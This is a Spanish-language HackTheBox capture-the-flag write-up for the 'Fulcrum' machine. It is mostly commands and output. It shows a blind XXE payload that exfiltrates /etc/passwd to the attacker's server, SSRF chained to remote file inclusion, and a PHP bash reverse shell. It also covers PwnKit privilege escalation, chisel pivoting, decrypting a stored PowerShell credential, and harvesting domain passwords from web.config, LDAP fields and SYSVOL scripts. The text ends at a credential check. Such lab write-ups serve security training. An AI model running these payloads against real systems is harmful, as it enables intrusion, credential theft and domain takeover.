xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Fulcrum



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, y la mayoria parece corren un servicio web

❯ nmap 10.10.10.62
Nmap scan report for 10.10.10.62  
PORT      STATE SERVICE
4/tcp     open  unknown
22/tcp    open  ssh
80/tcp    open  http
88/tcp    open  kerberos-sec
9999/tcp  open  abyss
56423/tcp open  unknown

Solo por comodidad agregaremos el dominio fulcrum.htb para no apuntar a la ip

❯ echo "10.10.10.62 fulcrum.htb" | sudo tee -a /etc/hosts  

Al abrir la pagina web del puerto 80 nos devuelve un error, lo interesante es si miramos el final de la pagina podemos ver Microsoft .NET Framework 2.0

El puerto 88 corre un phpMyAdmin pero sin credenciales validas de poco nos sirve

En el puerto 9999 podemos ver exactamente lo mismo que al inicio en el puerto 80

El puerto 4 nos dice que esta bajo mantenimiento y solo muestra un boton try again

Al darle a try again nos redirige a ?page=home, podriamos pensar en un LFI sin embargo despues de probar bastante con este puerto no llegamos a nada

Si vamos al puerto 56423 podemos ver que nos devuelve un json con una etiqueta Heartbeat que como valor tiene una etiqueta Ping que como valor tiene Pong

Podriamos intentar enviar la respuesta en json como input y ver si cambia algo

{"Heartbeat":{"Ping":"Pong"}}

Si se refleja el valor Pong podriamos intentar cambiarlo por Ping, sin embargo al hacerlo no funciona y recibimos la misma respuesta por parte del servidor

{"Heartbeat":{"Ping":"Ping"}}

Despues de probar diferentes cosas al cambiar el json a una data en xml y enviar Ping como valor de la etiqueta Ping esta vez si se representa en la respuesta

<Heartbeat><Ping>Ping</Ping></Heartbeat>


Shell - www-data


Sabemos que nos interpreta xml, despues de probar varios XXE no llegamos a nada reflejado en la respuesta, sin embargo podemos explotarlo blind, para esto en el DOCTYPE apuntaremos a una direccion con un dtd que es nuestro servidor

<!DOCTYPE replace SYSTEM "http://10.10.14.10/pwned.dtd">  
<data>&send;</data>

Al enviar esta data recibimos una petición en nuestro servidor al archivo pwned.dtd

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 404 -

Ahora crearemos el pwned.dtd, para inciar definimos una entidad llamada file la cual valdra el archivo /etc/passwd en base64 ya que usaremos wrappers de php, despues de ello definimos una entidad pwned la cual se encargara de enviar el valor de file como peticion a nuestro servidor mediante el parametro ?file=

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">  
<!ENTITY % pwned "<!ENTITY send SYSTEM 'http://10.10.14.10/?file=%file;'>">
%pwned;

Enviamos de nuevo la petición y al cargar el pwned.dtd e interpretarlo nos envia el contenido del archivo /etc/passwd como peticion GET a nuestro servidor

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 200 -
10.10.10.62 - - "GET /?file=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCnVzYm11eDp4OjExMjo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovdXNyL3NiaW4vbm9sb2dpbgpkbnNtYXNxOng6MTEzOjY1NTM0OmRuc21hc3EsLCw6L3Zhci9saWIvbWlzYzovdXNyL3NiaW4vbm9sb2dpbgpsaWJ2aXJ0LXFlbXU6eDo2NDA1NToxMDg6TGlidmlydCBRZW11LCwsOi92YXIvbGliL2xpYnZpcnQ6L3Vzci9zYmluL25vbG9naW4KbGlidmlydC1kbnNtYXNxOng6MTE0OjEyMDpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi91c3Ivc2Jpbi9ub2xvZ2luCg== HTTP/1.0" 200 -  

Al decodear la data en base64 podemos ver el archivo /etc/passwd completo

❯ base64 -d data.b64
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
libvirt-qemu:x:64055:108:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
libvirt-dnsmasq:x:114:120:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/usr/sbin/nologin

Podemos leer archivos, aunque no podemos cargar el config de nginx podemos intentar adivinar el nombre del directorio donde esta la web que nos devuelve el json, al probar con api logramos cargar el index en /var/www/api/index.php

<?php
	header('Content-Type:application/json;charset=utf-8');
	header('Server: Fulcrum-API Beta');
	libxml_disable_entity_loader (false);
	$xmlfile = file_get_contents('php://input');
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
	$input = simplexml_import_dom($dom);
	$output = $input->Ping;
	//check if ok
	if($output == "Ping")
	{
		$data = array('Heartbeat' => array('Ping' => "Ping"));  
	}else{
		$data = array('Heartbeat' => array('Ping' => "Pong"));  
	}
	echo json_encode($data);
?>

Tambien podemos cargar el index del puerto 4 que se encuentra en /var/www/uploads/index.php, ahora podemos ver la razon por la que el LFI no funcionaba y es que si la direccion es diferente a 127.0.0.1 no usa include

<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
	echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";  
}else{
	$inc = $_REQUEST["page"];
	include($inc.".php");
}
?>

Sin embargo podemos conseguir un SSRF ya que si desde el XXE apuntamos al puerto 4 el filtro para que la ip sea 127.0.0.1 hara un include de lo que le pasemos, probemos aplicar un RFI apuntando a un archivo pwned de nuestro servidor

<!DOCTYPE replace SYSTEM "http://127.0.0.1:4/?page=http://10.10.14.10/pwned">  

Al enviar el XML y cargando RFI que apunta en nuestro servidor a un archivo pwned recibimos una peticion al archivo pwned.php ya que adjunta la string .php

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 404 -

Creamos el archivo pwned.php el cual mediante system enviara un simple ping a nuestro host, al enviar recibimos la petición a pwned.php y nos llega el ping

<?php
    system("ping -c1 10.10.14.10");
?>

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 200 -

❯ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
IP 10.10.14.10 > 10.10.10.62: ICMP echo request, id 53825, seq 1, length 64  
IP 10.10.10.62 > 10.10.10.62: ICMP echo reply, id 53825, seq 1, length 64
IP 10.10.10.62 > 10.10.10.62: ICMP echo request, id 1, seq 1, length 64
IP 10.10.14.10 > 10.10.10.62: ICMP echo reply, id 1, seq 1, length 64

Ejecutamos comandos, basta con cambiar el ping por una revshell y es asi como mediante el SSRF que conseguimos a traves del XXE conseguimos cargar un archivo php aprovechando un RFI y conseguimos una shell como www-data

<?php
    system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");  
?>

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.62
www-data@fulcrum:~/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@fulcrum:~/uploads$ hostname -I
10.10.10.62 192.168.122.1 
www-data@fulcrum:~/uploads$


Shell - root


Aunque es innecesario y ni siquiera es una via intencionada al listar binarios con privilegios suid nos encontramos con el ya bastante famoso pkexec

www-data@fulcrum:~$ find / -perm -u+s 2>/dev/null | grep -v snap  
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
www-data@fulcrum:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec
www-data@fulcrum:~$

Podemos usar un exploit para explotar el famoso pwnkit y nos convertimos en root

www-data@fulcrum:/tmp$ python3 CVE-2021-4034.py  
[+] Creating shared library for exploit code.
[+] Calling execve()
# bash
root@fulcrum:~# id
uid=0(root) gid=0(root) groups=0(root)
root@fulcrum:~# hostname -I
10.10.10.62 192.168.122.1 
root@fulcrum:~# ls
msrs.sh  snap
root@fulcrum:~#


Shell - webuser


Tenemos otra interfaz y es la 192.168.122.1 subiendo un binario estatico de nmap podemos escanear los hosts activos en este segmento de red, y aparece otro

www-data@fulcrum:/tmp$ ./nmap -sn 192.168.122.0/24 -oG -  
Host: 192.168.122.1    ()	Status: Up
Host: 192.168.122.228  ()	Status: Up
www-data@fulcrum:/tmp$

El host 192.168.122.228 esta activo, al hacerle un ping nos responde con un ttl de 128 basandonos en ello es bastante probable que sea una maquina windows

www-data@fulcrum:/tmp$ ping -c1 -w1 192.168.122.228
PING 192.168.122.228 (192.168.122.228) 56(84) bytes of data.
64 bytes from 192.168.122.228: icmp_seq=1 ttl=128 time=0.535 ms  

--- 192.168.122.228 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.535/0.535/0.535/0.000 ms
www-data@fulcrum:/tmp$

Si escaneamos los puertos de este host aparecen 2, el 80 que puede que sea un servicio web y el 5985 que muy probablemente sea el servicio de winrm

www-data@fulcrum:/tmp$ ./nmap -Pn -n 192.168.122.228
Nmap scan report for 192.168.122.228  
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  unknown
www-data@fulcrum:/tmp$

Usando chisel crearemos un proxy socks en el puerto 1080 para asi tener conexion

www-data@fulcrum:/tmp$ ./chisel client 10.10.14.10:9999 R:socks &  
[1] 3755
www-data@fulcrum:/tmp$

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Si abrimos la pagina web del puerto 80 pasando por el proxy lo unico que encontramos es la pagina de .NET que veiamos en el puerto 80 y 9999

Volviendo al directorio /var/www/uploads donde recibimos la shell podemos encontrarnos con un script en powershell el cual define la credencial de webuser

www-data@fulcrum:~/uploads$ ls
Fulcrum_Upload_to_Corp.ps1  home.php  index.php  upload.php
www-data@fulcrum:~/uploads$ cat Fulcrum_Upload_to_Corp.ps1 
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='  
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

www-data@fulcrum:~/uploads$

Podemos abrir una pwshs y ejecutar hasta donde define la variable $5 que contiene la credencial, simplemente usando .GetNetworkCredential() podemos leer los campos UserName y Password de la credencial del usuario WebUser

❯ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> $1 = 'WebUser'
PS /home/kali> $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
PS /home/kali> $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='  
PS /home/kali> $4 = $3 | ConvertTo-SecureString -key $2
PS /home/kali> $5 = New-Object System.Management.Automation.PSCredential ($1, $4)
PS /home/kali> $5.GetNetworkCredential() | Select UserName,Password  

UserName Password
-------- --------
WebUser  M4ng£m£ntPa55

PS /home/kali>

A traves del proxy tenemos conexion con el puerto 5985 asi que con evil-winrm podemos autenticarnos como WebUser y obtener una powershell en la maquina

❯ proxychains -q evil-winrm -i 192.168.122.228 -u WebUser -p M4ng£m£ntPa55  
PS C:\Users\WebUser\Documents> whoami
webserver\webuser
PS C:\Users\WebUser\Documents>


Shell - btables


Sabemos que corre una pagina web, en el directorio donde esta se aloja podemos ver un archivo web.config que contiene las credenciales del usuario ldap

PS C:\inetpub\wwwroot> dir

    Directory: C:\inetpub\wwwroot

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/8/2022   2:46 AM            703 iisstart.htm
-a----         5/8/2022   2:46 AM          99710 iisstart.png
-a----        2/12/2022  11:42 PM           5252 index.htm
-a----        2/12/2022  11:42 PM           1280 web.config

PS C:\inetpub\wwwroot> type web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
    <appSettings />
    <connectionStrings>
        <add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
    </connectionStrings>
    <system.web>
        <membership defaultProvider="ADProvider">
            <providers>
                <add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />  
            </providers>
        </membership>
    </system.web>
<system.webServer>
   <httpProtocol>
      <customHeaders>
           <clear />
      </customHeaders>
   </httpProtocol>
        <defaultDocument>
            <files>
                <clear />
                <add value="Default.asp" />
                <add value="Default.htm" />
                <add value="index.htm" />
                <add value="index.html" />
                <add value="iisstart.htm" />
            </files>
        </defaultDocument>
</system.webServer>
</configuration>
PS C:\inetpub\wwwroot>

Vamos a enumerar un poco el dominio a traves de ldap pero para facilitar la enumeracion subimos el modulo PowerView.ps1 y lo importamos en powershell

PS C:\ProgramData> upload PowerView.ps1

Info: Uploading PowerView.ps1 to C:\ProgramData\PowerView.ps1  

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

PS C:\ProgramData> Import-Module .\PowerView.ps1
PS C:\ProgramData>

Iniciamos definiendo la credencial de ldap en un formato que le guste a powershell

PS C:\ProgramData> $SecPassword = ConvertTo-SecureString 'PasswordForSearching123!' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\ldap', $SecPassword)  
PS C:\ProgramData>

Al enumerar a los usuarios del dominio encontramos algo interesante, y es que el usuario BTables en el campo Info tiene lo que parece ser una contraseña

PS C:\ProgramData> Get-DomainUser -Credential $Cred -DomainController dc.fulcrum.local | Select Name,Info  

name          Info
----          ----
Administrator
Guest
krbtgt
ldap
923a
BTables       Password set to ++FileServerLogon12345++

PS C:\ProgramData>

Listando los equipos que pertenecen al dominio solo encontramos 2 existentes, FILE que es un equipo aparte y el otro es el propio DC o controlador de dominio

PS C:\ProgramData> Get-DomainComputer -Credential $Cred -DomainController dc.fulcrum.local | Select DNSHostname  

dnshostname
-----------
DC.fulcrum.local
FILE.fulcrum.local

PS C:\ProgramData>

Tenemos la contraseña del usuario BTables, definimos su credencial y a través de Invoke-Command podemos ejecutar comandos en FILE como y leer la flag

PS C:\ProgramData> $SecPassword = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\BTables', $SecPassword)  
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { whoami }
fulcrum\btables
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { type ..\Desktop\user.txt }  
fce**************************af4
PS C:\ProgramData>

Sin embargo es un poco incomodo asi que con chisel crearemos un nuevo proxy para tener conexion ahora hacia todos los equipos que pertenecen al dominio

PS C:\ProgramData> upload chisel.exe

Info: Uploading chisel.exe to C:\ProgramData\chisel.exe

Data: 11569152 bytes of 11569152 bytes copied

Info: Upload successful!

PS C:\ProgramData> .\chisel client 10.10.14.10:8888 R:socks  
PS C:\ProgramData>

❯ chisel server --reverse --port 8888
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:8888
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Finalmente a través de proxychains como el usuaro BTables nos podemos conectar al servicio winrm corriendo en el equipo FILE y obtener una powershell

❯ proxychains -q evil-winrm -i file.fulcrum.local -u BTables -p ++FileServerLogon12345++  
PS C:\Users\BTables\Documents> whoami
fulcrum\btables
PS C:\Users\BTables\Documents> type ..\Desktop\user.txt
fce**************************af4
PS C:\Users\BTables\Documents>


Shell - 923a


Usando crackmapexec con las credenciales de BTables hacia el DC podemos listar los recursos SMB compartidos, vemos privilegios lectura o READ en 3 de ellos

❯ proxychains -q crackmapexec smb dc.fulcrum.local -u BTables -p ++FileServerLogon12345++  --shares
SMB         dc.fulcrum.local 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)  
SMB         dc.fulcrum.local 445    DC               [+] fulcrum.local\BTables:++FileServerLogon12345++ 
SMB         dc.fulcrum.local 445    DC               [+] Enumerated shares
SMB         dc.fulcrum.local 445    DC               Share           Permissions     Remark
SMB         dc.fulcrum.local 445    DC               -----           -----------     ------
SMB         dc.fulcrum.local 445    DC               ADMIN$                          Remote Admin
SMB         dc.fulcrum.local 445    DC               C$                              Default share
SMB         dc.fulcrum.local 445    DC               IPC$            READ            Remote IPC
SMB         dc.fulcrum.local 445    DC               NETLOGON        READ            Logon server share 
SMB         dc.fulcrum.local 445    DC               SYSVOL          READ            Logon server share

Aunque esto tambien podemos hacerlo desde la powershell de BTables usando net

PS C:\Users\BTables\Documents> net use \\dc.fulcrum.local /user:fulcrum.local\BTables ++FileServerLogon12345++  
The command completed successfully.

PS C:\Users\BTables\Documents> net view \\dc.fulcrum.local /all
Shared resources at \\dc.fulcrum.local

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
ADMIN$      Disk           Remote Admin
C$          Disk           Default share
IPC$        IPC   (UNC)    Remote IPC
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

PS C:\Users\BTables\Documents>

Navegando un poco por los directorios del recurso compartido SYSVOL llegamos a un directorio el cual contiene varios archivos que son scripts ps1 de powershell

PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL

    Directory: \\dc.fulcrum.local\SYSVOL

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d----l         5/7/2022  11:52 PM                fulcrum.local

PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local

    Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/7/2022  11:52 PM                Policies
d-----         5/7/2022  11:52 PM                scripts

PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts

    Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/12/2022  10:34 PM            340 00034421-648d-4835-9b23-c0d315d71ba3.ps1
-a----        2/12/2022  10:34 PM            340 0003ed3b-31a9-4d8f-a152-a234ecb522d4.ps1
-a----        2/12/2022  10:34 PM            340 0010183b-2f84-4d4a-9490-b5ae922e3ba1.ps1
.........................................................................................  
-a----        2/12/2022  11:06 PM            340 f5b83c5e-82a9-4316-ba06-3e3d12bfa671.ps1
-a----        2/12/2022  11:06 PM            340 f858d01c-7f92-42e0-b165-cb214d839e26.ps1
-a----        2/12/2022  11:06 PM            340 f9892933-e24b-4211-8a77-d41a2940acd4.ps1

PS C:\Users\BTables\Documents>

Cada uno de estos scripts contiene credenciales de diferentes usuarios del dominio

PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\00034421-648d-4835-9b23-c0d315d71ba3.ps1  

# Map network drive v1.0
$User = 'be36'
$Pass = '@fulcrum_43bd6d26c168_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred  

PS C:\Users\BTables\Documents>

Al buscar una string que contenga el usuario Administrator esperando poder ver su contraseña en texto plano no encontramos ninguna coindidencia en los scripts

PS C:\Users\BTables\Documents> Select-String 'Administrator' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*  
PS C:\Users\BTables\Documents>

Sin embargo existen mas usuarios por ejemplo 923a que es parte de Domain Admins

PS C:\Users\BTables\Documents> net user 923a /domain | Select-String Group

Local Group Memberships
Global Group memberships     *Domain Admins        *Domain Users

PS C:\Users\BTables\Documents>

Si buscamos por el usuario la string 923a encontramos un archivo donde esta su usuario, este tambien contiene una contraseña que probablemente sea la suya

PS C:\Users\BTables\Documents> Select-String '923a' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*

\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\3807dacb-db2a-4627-b2a3-123d048590e7.ps1:3:$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force  
\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1:2:$User = '923a'

PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1

# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred  

PS C:\Users\BTables\Documents>

Comprobamos las credenciales de 923a con crackmapexec y nos devuelve Pwn3d!

❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$
